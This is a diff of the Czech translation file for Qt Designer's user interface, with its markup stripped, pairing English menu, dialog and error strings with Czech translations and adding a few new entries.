         
         
    -        
             Break
             Zrušit
         
    @@ -4154,32 +3493,26 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::ButtonTaskMenu
         
    -        
             Assign to button group
             Přiřadit ke skupině tlačítek
         
         
    -        
             Button group
             Skupina tlačítek
         
         
    -        
             New button group
             Nová skupina tlačítek
         
         
    -        
             Change text...
             Změnit text...
         
         
    -        
             None
             Žádný
         
         
    -        
             Button group '%1'
             Skupina tlačítek '%1'
         
    @@ -4187,57 +3520,46 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::CodeDialog
         
    -        
             Save...
             Uložit...
         
         
    -        
             Copy All
             Kopírovat vše
         
         
    -        
             &Find in Text...
             &Najít v textu...
         
         
    -        
             A temporary form file could not be created in %1.
             V adresáři %1 se nepodařilo vytvořit dočasný soubor s formulářem.
         
         
    -        
             The temporary form file %1 could not be written.
             Dočasný soubor s formulářem %1 se nepodařilo zapsat.
         
         
    -        
             %1 - [Code]
             %1 - [Kód]
         
         
    -        
             Save Code
             Uložit kód
         
         
    -        
             Header Files (*.%1)
             Hlavičkové soubory (*.%1)
         
         
    -        
             The file %1 could not be opened: %2
             Soubor %1 se nepodařilo otevřít: %2
         
         
    -        
             The file %1 could not be written: %2
             Soubor %1 se nepodařilo zapsat: %2
         
         
    -        
             %1 - Error
             %1 - Chyba
         
    @@ -4245,7 +3567,6 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::ColorAction
         
    -        
             Text Color
             Barva textu
         
    @@ -4253,12 +3574,10 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::ComboBoxTaskMenu
         
    -        
             Edit Items...
             Upravit záznamy...
         
         
    -        
             Change Combobox Contents
             Změnit obsah skupinové krabice
         
    @@ -4266,7 +3585,6 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::CommandLinkButtonTaskMenu
         
    -        
             Change description...
             Změnit popis...
         
    @@ -4274,17 +3592,14 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::ConnectionEdit
         
    -        
             Select All
             Vybrat vše
         
         
    -        
             Delete
             Smazat
         
         
    -        
             Deselect All
             Zrušit výběr všeho
         
    @@ -4292,52 +3607,42 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::ConnectionModel
         
    -        
             Sender
             Vysílač
         
         
    -        
             Signal
             Signál
         
         
    -        
             Receiver
             Přijímač
         
         
    -        
             Slot
             Zdířka
         
         
    -        
             <sender>
             <Vysílač>
         
         
    -        
             <signal>
             <Signál>
         
         
    -        
             <receiver>
             <Přijímač>
         
         
    -        
             <slot>
             <Zdířka>
         
         
    -        
             Signal and Slot Editor
             Editor signálů a zdířek
         
         
    -        
             The connection already exists!<br>%1
             Toto spojení již existuje!<br>%1</br>
         
    @@ -4345,42 +3650,34 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::ContainerWidgetTaskMenu
         
    -        
             Insert Page Before Current Page
             Vložit stranu před nynější stranu
         
         
    -        
             Insert Page After Current Page
             Vložit stranu po nynější straně
         
         
    -        
             Add Subwindow
             Přidat podokno
         
         
    -        
             Delete
             Smazat
         
         
    -        
             Insert
             Vložit
         
         
    -        
             Subwindow
             Podokno
         
         
    -        
             Page
             Strana
         
         
    -        
             Page %1 of %2
             Strana %1 z %2
         
    @@ -4388,19 +3685,16 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::DPI_Chooser
         
    -        
              x 
             DPI X/Y separator
              x 
         
         
    -        
             System (%1 x %2)
             System resolution
             Systémové rozlišení (%1 x %2)
         
         
    -        
             User defined
             Stanoveno uživatelem
         
    @@ -4408,49 +3702,38 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::DesignerPropertyManager
         
    -        
    -        
             AlignLeft
             Zarovnat k levému okraji
         
         
    -        
             AlignHCenter
             Zarovnat vodorovně na střed
         
         
    -        
             AlignRight
             Zarovnat k pravému okraji
         
         
    -        
             AlignJustify
             Zarovnat do bloku
         
         
    -        
             AlignTop
             Zarovnat k hornímu okraji
         
         
    -        
    -        
             AlignVCenter
             Zarovnat svisle na střed
         
         
    -        
             AlignBottom
             Zarovnat k dolnímu okraji
         
         
    -        
             %1, %2
             %1, %2
         
         
    -        
             Customized (%n roles)
             
                 Přizpůsobeno (role)
    @@ -4459,75 +3742,58 @@ Chcete tuto předlohu přepsat?
             
         
         
    -        
             Inherited
             Zděděno
         
         
    -        
             Horizontal
             Vodorovný
         
         
    -        
             Vertical
             Svislý
         
         
    -        
             Normal Off
             Obvyklé, vypnuto
         
         
    -        
             Normal On
             Obvyklé, zapnuto
         
         
    -        
             Disabled Off
             Zakázáno, vypnuto
         
         
    -        
             Disabled On
             Zakázáno, zapnuto
         
         
    -        
             Active Off
             V činnosti, vypnuto
         
         
    -        
             Active On
             V činnosti, zapnuto
         
         
    -        
             Selected Off
             Vybráno, vypnuto
         
         
    -        
             Selected On
             Vybráno, zapnuto
         
         
    -        
    -        
             translatable
             Překlad
         
         
    -        
    -        
             disambiguation
             Zabránění dvojznačnosti
         
         
    -        
    -        
             comment
             Poznámka
         
    @@ -4535,48 +3801,38 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::DeviceProfileDialog
         
    -        
             Device Profiles (*.%1)
             Profily zařízení (*.%1)
         
         
    -        
             Default
             Výchozí
         
         
    -        
             Save Profile
             Uložit profil
         
         
    -        
             Save Profile - Error
             Chyba při ukládání profilu
         
         
    -        
             Unable to open the file '%1' for writing: %2
             Soubor '%1' se nepodařilo otevřít pro zápis: %2
         
         
    -        
             Unable to open the file '%1' for reading: %2
             Soubor '%1' se nepodařilo otevřít pro čtení: %2
         
         
    -        
             '%1' is not a valid profile: %2
             '%1' není platným profilem: %2
         
         
    -        
             Open profile
             Otevřít profil
         
         
    -        
    -        
             Open Profile - Error
             Chyba při otevírání profilu
         
    @@ -4584,57 +3840,46 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::Dialog
         
    -        
             Dialog
             Dialog
         
         
    -        
             StringList
             Seznam řetězců znaků
         
         
    -        
             New String
             Nový řetězec znaků
         
         
    -        
             &New
             &Nový
         
         
    -        
             Delete String
             Smazat řetězec znaků
         
         
    -        
             &Delete
             &Smazat
         
         
    -        
             &Value:
             &Hodnota:
         
         
    -        
             Move String Up
             Posunout řetězec znaků nahoru
         
         
    -        
             Up
             Nahoru
         
         
    -        
             Move String Down
             Posunout řetězec znaků dolů
         
         
    -        
             Down
             Dolů
         
    @@ -4642,52 +3887,42 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::EmbeddedOptionsControl
         
    -        
             None
             Žádný
         
         
    -        
             Add a profile
             Přidat profil
         
         
    -        
             Edit the selected profile
             Upravit vybraný profil
         
         
    -        
             Delete the selected profile
             Smazat vybraný profil
         
         
    -        
             Add Profile
             Přidat profil
         
         
    -        
             New profile
             Nový profil
         
         
    -        
             Edit Profile
             Upravit profil
         
         
    -        
             Delete Profile
             Smazat profil
         
         
    -        
             Would you like to delete the profile '%1'?
             Chcete smazat profil '%1'?
         
         
    -        
             Default
             Výchozí
         
    @@ -4695,20 +3930,25 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::FilterWidget
         
    -        
             <Filter>
    -        <FIltr>
    +        <FIltr>
    +    
    +    
    +        Filter
    +        Filtr
    +    
    +    
    +        Clear text
    +        Smazat text
         
     
     
         qdesigner_internal::FormEditor
         
    -        
             Resource File Changed
             Zdrojový soubor byl změněn
         
         
    -        
             The file "%1" has changed outside Designer. Do you want to reload it?
             Zdrojový soubor "%1" byl změněn mimo program Designer. Chcete jej znovu nahrát?
         
    @@ -4716,7 +3956,6 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::FormLayoutMenu
         
    -        
             Add form layout row...
             Přidat řádek s rozvržením formuláře...
         
    @@ -4724,44 +3963,34 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::FormWindow
         
    -        
             Edit contents
             Upravit obsah
         
         
    -        
             F2
             F2
         
         
    -        
             Resize
             Změnit velikost
         
         
    -        
    -        
             Key Move
             Posunout s pomocí klávesnice
         
         
    -        
             Paste error
             Chyba při vložení
         
         
    -        
             Lay out
             Rozvržení
         
         
    -        
    -        
             Drop widget
             Vložit prvek
         
         
    -        
             Paste %n action(s)
             
                 Vložit jednu činnost
    @@ -4770,12 +3999,14 @@ Chcete tuto předlohu přepsat?
             
         
         
    -        
             Insert widget '%1'
             Vložit prvek '%1'
         
    +    
    +        Key Resize
    +        Změnit velikost pomocí klávesnice
    +    
         
    -        
             Paste %n widget(s)
             
                 Vložit jeden prvek
    @@ -4784,37 +4015,30 @@ Chcete tuto předlohu přepsat?
             
         
         
    -        
             Paste (%1 widgets, %2 actions)
             Vložit (%1 prvky, %2 činnosti)
         
         
    -        
             Cannot paste widgets. Designer could not find a container without a layout to paste into.
             Prvky nelze vložit, protože se nepodařilo nalézt kontejner, který již nemá rozvržení.
         
         
    -        
             Break the layout of the container you want to paste into, select this container and then paste again.
             Zrušte, prosím, rozvržení kontejneru, do kterého chcete vkládat. Vyberte jej znovu a proveďte vložení znovu.
         
         
    -        
             Select Ancestor
             Vybrat nadřazený prvek
         
         
    -        
             A QMainWindow-based form does not contain a central widget.
             Formulář založený na QMainWindow neobsahuje ústřední prvek.
         
         
    -        
             Raise widgets
             Přenést prvky do popředí
         
         
    -        
             Lower widgets
             Přenést prvky do pozadí
         
    @@ -4822,12 +4046,10 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::FormWindowBase
         
    -        
             Delete
             Smazat
         
         
    -        
             Delete '%1'
             Smazat '%1'
         
    @@ -4835,200 +4057,159 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::FormWindowManager
         
    -        
             Cu&t
             Vyj&mout
         
         
    -        
             Cuts the selected widgets and puts them on the clipboard
             Vyjme vybrané prvky a odloží je do schránky
         
         
    -        
             &Copy
             &Kopírovat
         
         
    -        
             Copies the selected widgets to the clipboard
             Zkopíruje vybrané prvky do schránky
         
         
    -        
             &Paste
             &Vložit
         
         
    -        
             Pastes the clipboard's contents
             Vloží obsah schránky
         
         
    -        
             &Delete
             &Smazat
         
         
    -        
             Deletes the selected widgets
             Smaže vybrané prvky
         
         
    -        
             Select &All
             Vybrat &vše
         
         
    -        
             Selects all widgets
             Vybere všechny prvky
         
         
    -        
             Bring to &Front
             Přenést do &popředí
         
         
    -        
    -        
             Raises the selected widgets
             Přenese vybrané prvky do popředí
         
         
    -        
             Send to &Back
             Přenést do po&zadí
         
         
    -        
    -        
             Lowers the selected widgets
             Přenese vybrané prvky do pozadí
         
         
    -        
             Adjust &Size
             Přizpůsobit &velikost
         
         
    -        
             Adjusts the size of the selected widget
             Spočítá velikost vybraného prvku z rozvržení a přizpůsobí velikost prvku
         
         
    -        
             Lay Out &Horizontally
             Uspořádat předměty &vodorovně
         
         
    -        
             Lays out the selected widgets horizontally
             Uspořádá vybrané předměty vodorovně
         
         
    -        
             Lay Out &Vertically
             Uspořádat předměty &svisle
         
         
    -        
             Lays out the selected widgets vertically
             Uspořádá vybrané předměty svisle
         
         
    -        
             Lay Out in a &Grid
             Uspořádat předměty &tabulkově
         
         
    -        
             Lays out the selected widgets in a grid
             Uspořádá vybrané předměty tabulkově
         
         
    -        
             Lay Out Horizontally in S&plitter
             Uspořádat předměty vodorovně okolo &dělící příčky
         
         
    -        
             Lays out the selected widgets horizontally in a splitter
             Uspořádá vybrané předměty vodorovně okolo dělící příčky
         
         
    -        
             Lay Out Vertically in Sp&litter
             Uspořádat předměty svisle okolo dě&lící příčky
         
         
    -        
             Lays out the selected widgets vertically in a splitter
             Uspořádá vybrané předměty svisle okolo dělící příčky
         
         
    -        
             &Break Layout
             &Zrušit rozvržení
         
         
    -        
             Breaks the selected layout
             Zruší vybrané rozvržení
         
         
    -        
             &Preview...
             &Náhled...
         
         
    -        
             Preview current form
             Náhled nynějšího formuláře
         
         
    -        
             Form &Settings...
             &Nastavení formuláře...
         
         
    -        
             Break Layout
             Zrušit rozvržení
         
         
    -        
             Adjust Size
             Přizpůsobit velikost
         
         
    -        
             Could not create form preview
             Title of warning message box
             Nepodařilo se vytvořit náhled formuláře
         
         
    -        
             Form Settings - %1
             Nastavení formuláře - %1
         
         
    -        
             Removes empty columns and rows
             Odstraní prázdné řádky a sloupce
         
         
    -        
             Lay Out in a &Form Layout
             Uspořádat předměty v &rozvržení formuláře
         
         
    -        
             Lays out the selected widgets in a form layout
             Uspořádá vybrané předměty v dvousloupcovém rozvržení formuláře
         
         
    -        
             Si&mplify Grid Layout
             Z&jednodušit tabulkové rozvržení
         
    @@ -5036,12 +4217,10 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::FormWindowSettings
         
    -        
             None
             Žádný
         
         
    -        
             Device Profile: %1
             Profil zařízení: %1
         
    @@ -5049,37 +4228,30 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::GridPanel
         
    -        
             Visible
             Viditelný
         
         
    -        
             Snap
             Zapadnout
         
         
    -        
             Reset
             Nastavit znovu
         
         
    -        
             Form
             Formulář
         
         
    -        
             Grid
             Mřížka
         
         
    -        
             Grid &X
             Mřížka &x
         
         
    -        
             Grid &Y
             Mřížka &y
         
    @@ -5087,7 +4259,6 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::GroupBoxTaskMenu
         
    -        
             Change title...
             Změnit název...
         
    @@ -5095,7 +4266,6 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::HtmlTextEdit
         
    -        
             Insert HTML entity
             Vložit HTML znak
         
    @@ -5103,92 +4273,74 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::IconSelector
         
    -        
             The pixmap file '%1' cannot be read.
             Soubor s pixmapou '%1' nelze přečíst.
         
         
    -        
             The file '%1' does not appear to be a valid pixmap file: %2
             Soubor '%1' není platným souborem s pixmapou: %2
         
         
    -        
             The file '%1' could not be read: %2
             Soubor %1 se nepodařilo přečít: %2
         
         
    -        
             Pixmap Read Error
             Chyba při čtení pixmapy
         
         
    -        
             ...
             ...
         
         
    -        
             Normal Off
             Obvyklé, vypnuto
         
         
    -        
             Normal On
             Obvyklé, zapnuto
         
         
    -        
             Disabled Off
             Zakázáno, vypnuto
         
         
    -        
             Disabled On
             Zakázáno, zapnuto
         
         
    -        
             Active Off
             V činnosti, vypnuto
         
         
    -        
             Active On
             V činnosti, zapnuto
         
         
    -        
             Selected Off
             Vybráno, vypnuto
         
         
    -        
             Selected On
             Vybráno, zapnuto
         
         
    -        
             Choose Resource...
             Vybrat zdroj...
         
         
    -        
             Choose File...
             Vybrat soubor...
         
         
    -        
             Reset
             Nastavit znovu
         
         
    -        
             Reset All
             Nastavit znovu vše
         
         
    -        
             Choose a Pixmap
             Vybrat pixmapu
         
    @@ -5196,58 +4348,46 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::ItemListEditor
         
    -        
             Properties &<<
             Vlastnosti &<<
         
         
    -        
    -        
             Properties &>>
             Vlastnosti &>>
         
         
    -        
             Items List
             Seznam prvků
         
         
    -        
             New Item
             Nový prvek
         
         
    -        
             &New
             &Nový
         
         
    -        
             Delete Item
             Smazat prvek
         
         
    -        
             &Delete
             &Smazat
         
         
    -        
             Move Item Up
             Posunout prvek nahoru
         
         
    -        
             U
             U
         
         
    -        
             Move Item Down
             Posunout prvek dolů
         
         
    -        
             D
             D
         
    @@ -5255,12 +4395,10 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::LabelTaskMenu
         
    -        
             Change rich text...
             Změnit upravovatelný text...
         
         
    -        
             Change plain text...
             Změnit prostý text...
         
    @@ -5268,7 +4406,6 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::LanguageResourceDialog
         
    -        
             Choose Resource
             Vybrat zdroj
         
    @@ -5276,7 +4413,6 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::LineEditTaskMenu
         
    -        
             Change text...
             Změnit text...
         
    @@ -5284,17 +4420,14 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::ListWidgetEditor
         
    -        
             Edit List Widget
             Upravit seznam prvků
         
         
    -        
             Edit Combobox
             Upravit skupinovou krabici
         
         
    -        
             New Item
             Nový prvek
         
    @@ -5302,12 +4435,10 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::ListWidgetTaskMenu
         
    -        
             Edit Items...
             Upravit prvky...
         
         
    -        
             Change List Contents
             Změnit obsah seznamu
         
    @@ -5315,22 +4446,18 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::MdiContainerWidgetTaskMenu
         
    -        
             Next Subwindow
             Další podokno
         
         
    -        
             Previous Subwindow
             Předchozí podokno
         
         
    -        
             Tile
             Uspořádat jedno vedle druhého
         
         
    -        
             Cascade
             Překrývat
         
    @@ -5338,7 +4465,6 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::MenuTaskMenu
         
    -        
             Remove
             Odstranit
         
    @@ -5346,7 +4472,6 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::MorphMenu
         
    -        
             Morph into
             Přeměnit prvek na
         
    @@ -5354,42 +4479,34 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::NewActionDialog
         
    -        
             New Action...
             Nová činnost...
         
         
    -        
             &Text:
             &Text:
         
         
    -        
             Shortcut:
             Klávesová zkratka:
         
         
    -        
             Checkable:
             Zaškrtnutelná:
         
         
    -        
             ToolTip:
             Rada k nástroji:
         
         
    -        
             ...
             ...
         
         
    -        
             &Icon:
             &Ikona:
         
         
    -        
             Object &name:
             &Název předmětu:
         
    @@ -5397,41 +4514,34 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::NewDynamicPropertyDialog
         
    -        
             Set Property Name
             Nastavit název vlastnosti
         
         
    -        
             The current object already has a property named '%1'.
     Please select another, unique one.
             nynější předmět již má vlastnost s názvem '%1'.
     Zvolte, prosím, jiný, jedinečný název.
         
         
    -        
             Create Dynamic Property
             Vytvořit dynamickou vlastnost
         
         
    -        
             Property Name
             Název vlastnosti
         
         
    -        
             Property Type
             typ vlastnosti
         
         
    -        
             The '_q_' prefix is reserved for the Qt library.
     Please select another name.
             Předpona '_q_' je používána knihovnou Qt pro vnitřní účely.
     Zvolte, prosím, jiný název.
         
         
    -        
             horizontalSpacer
             Vodorovný vymezovač
         
    @@ -5439,83 +4549,67 @@ Zvolte, prosím, jiný název.
     
         qdesigner_internal::NewFormWidget
         
    -        
             Default size
             Výchozí velikost
         
         
    -        
             QVGA portrait (240x320)
             QVGA formát na výšku (240x320)
         
         
    -        
             QVGA landscape (320x240)
             QVGA formát na šířku (320x240)
         
         
    -        
             VGA portrait (480x640)
             VGA formát na výšku (480x640)
         
         
    -        
             VGA landscape (640x480)
             VGA formát na šířku (640x480)
         
         
    -        
             Widgets
             New Form Dialog Categories
             Prvky
         
         
    -        
             Custom Widgets
             Uživatelsky stanovené prvky
         
         
    -        
             None
             Žádný
         
         
    -        
             Error loading form
             Formulář se nepodařilo nahrát
         
         
    -        
             Unable to open the form template file '%1': %2
             Nepodařilo se otevřít předlohu s formulářem '%1': %2
         
         
    -        
             Internal error: No template selected.
             Vnitřní chyba: Není vybrána žádná předloha.
         
         
    -        
             0
             0
         
         
    -        
             Choose a template for a preview
             Vyberte předlohu pro náhled
         
         
    -        
             Embedded Design
             Vložený návrh
         
         
    -        
             Device:
             Zařízení:
         
         
    -        
             Screen Size:
             Velikost obrazovky:
         
    @@ -5523,37 +4617,30 @@ Zvolte, prosím, jiný název.
     
         qdesigner_internal::NewPromotedClassPanel
         
    -        
             Add
             Přidat
         
         
    -        
             New Promoted Class
             Nová uživatelsky stanovená třída
         
         
    -        
             Base class name:
             Název základní třídy:
         
         
    -        
             Promoted class name:
             Název uživatelsky stanovené třídy:
         
         
    -        
             Header file:
             Hlavičkový soubor:
         
         
    -        
             Global include
             Celkový hlavičkový soubor
         
         
    -        
             Reset
             Nastavit znovu
         
    @@ -5561,12 +4648,10 @@ Zvolte, prosím, jiný název.
     
         qdesigner_internal::ObjectInspector
         
    -        
             Change Current Page
             Změnit nynější stranu
         
         
    -        
             &Find in Text...
             &Najít v textu...
         
    @@ -5581,32 +4666,26 @@ Zvolte, prosím, jiný název.
     
         qdesigner_internal::OrderDialog
         
    -        
             Index %1 (%2)
             Poloha %1 (%2)
         
         
    -        
             Change Page Order
             Změnit pořadí stran
         
         
    -        
             Page Order
             Pořadí stran
         
         
    -        
             Move page up
             Posunout stranu nahoru
         
         
    -        
             Move page down
             Posunout stranu dolů
         
         
    -        
             %1 %2
             %1 %2
         
    @@ -5614,47 +4693,38 @@ Zvolte, prosím, jiný název.
     
         qdesigner_internal::PaletteEditor
         
    -        
             Edit Palette
             Upravit paletu
         
         
    -        
             Tune Palette
             Vyladit paletu
         
         
    -        
             Show Details
             Ukázat podrobnosti
         
         
    -        
             Compute Details
             Spočítat podrobnosti
         
         
    -        
             Quick
             Jednoduchý
         
         
    -        
             Preview
             Náhled
         
         
    -        
             Disabled
             Zakázáno
         
         
    -        
             Inactive
             Nečinný
         
         
    -        
             Active
             V činnosti
         
    @@ -5662,7 +4732,6 @@ Zvolte, prosím, jiný název.
     
         qdesigner_internal::PaletteEditorButton
         
    -        
             Change Palette
             Změnit paletu
         
    @@ -5670,22 +4739,18 @@ Zvolte, prosím, jiný název.
     
         qdesigner_internal::PaletteModel
         
    -        
             Color Role
             Barevné kolo
         
         
    -        
             Active
             V činnosti
         
         
    -        
             Inactive
             Nečinný
         
         
    -        
             Disabled
             Zakázáno
         
    @@ -5693,28 +4758,22 @@ Zvolte, prosím, jiný název.
     
         qdesigner_internal::PixmapEditor
         
    -        
             Copy Path
             Kopírovat cestu
         
         
    -        
             Paste Path
             Vložit cestu
         
         
    -        
             Choose Resource...
             Vybrat zdroj...
         
         
    -        
             Choose File...
             Vybrat soubor...
         
         
    -        
    -        
             ...
             ...
         
    @@ -5722,7 +4781,6 @@ Zvolte, prosím, jiný název.
     
         qdesigner_internal::PlainTextEditorDialog
         
    -        
             Edit text
             Upravit text
         
    @@ -5730,37 +4788,38 @@ Zvolte, prosím, jiný název.
     
         qdesigner_internal::PluginDialog
         
    -        
             Components
             Součásti
         
         
    -        
             Plugin Information
             Informace o přídavných modulech
         
         
    -        
             Refresh
             Obnovit
         
         
    -        
             Scan for newly installed custom widget plugins.
             Prohledat kvůli nově nainstalovaným přídavným modulům s uživatelsky stanovenými prvky.
         
         
    -        
    +        Loaded Plugins
    +        Nahrané přídavné moduly
    +    
    +    
    +        Failed Plugins
    +        Přídavné moduly, které se nepodařilo nahrát
    +    
    +    
             Qt Designer couldn't find any plugins
             Programu Qt Designer se nepodařilo najít jakékoli přídavné moduly
         
         
    -        
             Qt Designer found the following plugins
             Programu Qt Designer se podařilo najít následující přídavné moduly
         
         
    -        
             New custom widget plugins have been found.
             Byly nalezeny nové přídavné moduly s uživatelsky stanovenými prvky.
         
    @@ -5768,7 +4827,6 @@ Zvolte, prosím, jiný název.
     
         qdesigner_internal::PreviewActionGroup
         
    -        
             %1 Style
             %1-Styl
         
    @@ -5776,47 +4834,38 @@ Zvolte, prosím, jiný název.
     
         qdesigner_internal::PreviewConfigurationWidget
         
    -        
             Default
             Výchozí
         
         
    -        
             None
             Žádný
         
         
    -        
             Browse...
             Procházet...
         
         
    -        
             Load Custom Device Skin
             Nahrát uživatelsky stanovený vzhled zařízení
         
         
    -        
             All QVFB Skins (*.%1)
             Všechny vzhledy QVFB (*.%1)
         
         
    -        
             %1 - Duplicate Skin
             %1 - Zdvojit vzhled
         
         
    -        
             The skin '%1' already exists.
             Vzhled '%1' již existuje.
         
         
    -        
             %1 - Error
             %1 - Chyba
         
         
    -        
             %1 is not a valid skin directory:
     %2
             %1 není platným adresářem pro vzhled:
    @@ -5855,24 +4904,20 @@ Zvolte, prosím, jiný název.
     
         qdesigner_internal::PreviewDeviceSkin
         
    -        
             &Portrait
             Formát na &výšku
         
         
    -        
             Landscape (&CCW)
             Rotate form preview counter-clockwise
             Formát na šířku (&proti směru otáčení hodinových ručiček)
         
         
    -        
             &Landscape (CW)
             Rotate form preview clockwise
             Formát na šířku (po směru &otáčení hodinových ručiček)
         
         
    -        
             &Close
             &Zavřít
         
    @@ -5880,7 +4925,6 @@ Zvolte, prosím, jiný název.
     
         qdesigner_internal::PreviewManager
         
    -        
             %1 - [Preview]
             %1 - [Náhled]
         
    @@ -5888,7 +4932,6 @@ Zvolte, prosím, jiný název.
     
         qdesigner_internal::PreviewMdiArea
         
    -        
             The moose in the noose
     ate the goose who was loose.
             Palette editor background
    @@ -5899,57 +4942,46 @@ která byla volně puštěná.
     
         qdesigner_internal::PreviewWidget
         
    -        
             Preview Window
             Náhledové okno
         
         
    -        
             LineEdit
             Úprava čáry
         
         
    -        
             ComboBox
             Skupinová krabice
         
         
    -        
             PushButton
             Tlačítko na postrčení
         
         
    -        
             ButtonGroup2
             Skupina tlačítek 2
         
         
    -        
             CheckBox1
             Zaškrtnutelné políčko 1
         
         
    -        
             CheckBox2
             Zaškrtnutelné políčko 2
         
         
    -        
             ButtonGroup
             Skupina tlačítek
         
         
    -        
             RadioButton1
             Rozhlasové tlačítko 1
         
         
    -        
             RadioButton2
             Rozhlasové tlačítko 2
         
         
    -        
             RadioButton3
             Rozhlasové tlačítko 3
         
    @@ -5957,22 +4989,18 @@ která byla volně puštěná.
     
         qdesigner_internal::PromotionModel
         
    -        
             Name
             Název
         
         
    -        
             Header file
             Hlavičkový soubor
         
         
    -        
             Global include
             Celkový hlavičkový soubor
         
         
    -        
             Usage
             Použití
         
    @@ -5980,27 +5008,22 @@ která byla volně puštěná.
     
         qdesigner_internal::PromotionTaskMenu
         
    -        
             Promoted widgets...
             Uživatelsky stanovené prvky...
         
         
    -        
             Promote to ...
             Stanovit jako zástupný symbol pro uživatelsky stanovenou třídu...
         
         
    -        
             Promote to
             Stanovit jako zástupný symbol pro uživatelsky stanovenou třídu
         
         
    -        
             Demote to %1
             Odstranit zástupný symbol pro uživatelsky stanovenou třídu a přeměnit na %1
         
         
    -        
             Change signals/slots...
             Změnit signály/zdířky...
         
    @@ -6008,59 +5031,48 @@ která byla volně puštěná.
     
         qdesigner_internal::PropertyEditor
         
    -        
             Add Dynamic Property...
             Přidat dynamickou vlastnost...
         
         
    -        
             Remove Dynamic Property
             Odstranit dynamickou vlastnost
         
         
    -        
             Tree View
             Stromový pohled
         
         
    -        
             Drop Down Button View
             Podrobný pohled
         
         
    -        
             Object: %1
     Class: %2
             Předmět: %1
     Třída: %2
         
         
    -        
             Sorting
             Třídění
         
         
    -        
             Color Groups
             Barevné zdůraznění
         
         
    -        
             Configure Property Editor
             Nastavit editor vlastností
         
         
    -        
             String...
             Řetězec znaků...
         
         
    -        
             Bool...
             Booleánská hodnota...
         
         
    -        
             Other...
             Jiný typ...
         
    @@ -6068,7 +5080,6 @@ Třída: %2
     
         qdesigner_internal::PropertyLineEdit
         
    -        
             Insert line break
             Vložit zalomení řádku
         
    @@ -6076,27 +5087,22 @@ Třída: %2
     
         qdesigner_internal::QDesignerPromotionDialog
         
    -        
             Promoted Widgets
             Zástupný symbol pro uživatelsky stanovené prvky
         
         
    -        
             Promoted Classes
             Zástupný symbol pro uživatelsky stanovené třídy
         
         
    -        
             Promote
             Používat
         
         
    -        
             %1 - Error
             %1 - Chyba
         
         
    -        
             Change signals/slots...
             Změnit signály/zdířky...
         
    @@ -6104,22 +5110,18 @@ Třída: %2
     
         qdesigner_internal::QDesignerResource
         
    -        
             Loading qrc file
             Nahrává se zdrojový soubor
         
         
    -        
             The specified qrc file <p><b>%1</b></p><p>could not be found. Do you want to update the file location?</p>
             Zadaný zdrojový soubor <p><b>%1</b></p><p> se nepodařilo najít. Chcete zadat novou cestu k umístění souboru?</p>
         
         
    -        
             New location for %1
             Nové umístění %1
         
         
    -        
             Resource files (*.qrc)
             Zdrojové soubory (*.qrc)
         
    @@ -6127,67 +5129,54 @@ Třída: %2
     
         qdesigner_internal::QDesignerTaskMenu
         
    -        
             Change objectName...
             Změnit název předmětu...
         
         
    -        
             Change toolTip...
             Změnit radu k nástroji...
         
         
    -        
             Change whatsThis...
             Změnit "A co je toto"...
         
         
    -        
             Change styleSheet...
             Změnit předlohový list...
         
         
    -        
             Create Menu Bar
             Vytvořit nabídkový pruh
         
         
    -        
             Add Tool Bar
             Přidat nástrojový pruh
         
         
    -        
             Create Status Bar
             Vytvořit stavový pruh
         
         
    -        
             Remove Status Bar
             Odstranit stavový pruh
         
         
    -        
             Change script...
             Změnit skript...
         
         
    -        
             Change signals/slots...
             Změnit signály/zdířky...
         
         
    -        
             Go to slot...
             Jít na zdířku...
         
         
    -        
             no signals available
             Nejsou dostupné žádné signály
         
         
    -        
             Set size constraint on %n widget(s)
             
                 Nastavit omezení velikosti u jednoho prvku
    @@ -6196,47 +5185,38 @@ Třída: %2
             
         
         
    -        
             Size Constraints
             Omezení velikosti
         
         
    -        
             Set Minimum Width
             Nastavit nejmenší šířku
         
         
    -        
             Set Minimum Height
             Nastavit nejmenší výšku
         
         
    -        
             Set Minimum Size
             Nastavit nejmenší velikost
         
         
    -        
             Set Maximum Width
             Nastavit největší šířku
         
         
    -        
             Set Maximum Height
             Nastavit největší výšku
         
         
    -        
             Set Maximum Size
             Nastavit největší velikost
         
         
    -        
             Edit ToolTip
             Upravit radu k nástroji
         
         
    -        
             Edit WhatsThis
             Upravit "A co je toto"
         
    @@ -6244,42 +5224,34 @@ Třída: %2
     
         qdesigner_internal::QDesignerWidgetBox
         
    -        
    -        
             Unexpected element <%1>
             Neplatný prvek <%1>
         
         
    -        
             A parse error occurred at line %1, column %2 of the XML code specified for the widget %3: %4
     %5
